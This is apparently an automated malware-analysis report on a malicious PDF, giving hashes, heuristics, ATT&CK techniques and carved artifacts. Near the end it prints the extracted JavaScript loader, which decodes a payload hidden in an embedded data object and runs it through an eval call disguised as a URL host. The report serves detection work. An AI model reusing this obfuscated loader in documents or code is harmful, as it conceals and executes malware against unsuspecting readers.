Malicious PDF — malware analysis report

Static analysis result for SHA-256 e0b2ad266de20147…

MALICIOUS

PDF

4.6 KB First seen: 2013-06-29
MD5: 0a143e60c945761e219ece1dd9160c76 SHA-1: b61e19552e1cab6b66111a984128312657c0e870 SHA-256: e0b2ad266de20147437673500044b27b0ead1f3fc9cc96185b9cd714ae7108a8
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The PDF file was flagged by a machine learning classifier with high confidence as malicious. Static analysis revealed embedded JavaScript and an embedded binary file, indicating a likely attempt to deliver a secondary payload. The presence of these embedded objects strongly suggests an attack pattern involving the execution of malicious code or the unpacking of further malware.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x482 79747 bytes
SHA-256: e40f49fc582524405903c5792992a4289e0d6a66ae3b8b2b06bfa50eb3923a91
Detection
ClamAV: No threats found
Obfuscation or payload: likely
261 of 261 identifiers look randomly generated (e.g. 'qd5Q4wxatn4Hd22P1qd5Q4wxatn4Hd22P2qd5Q4w') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x224 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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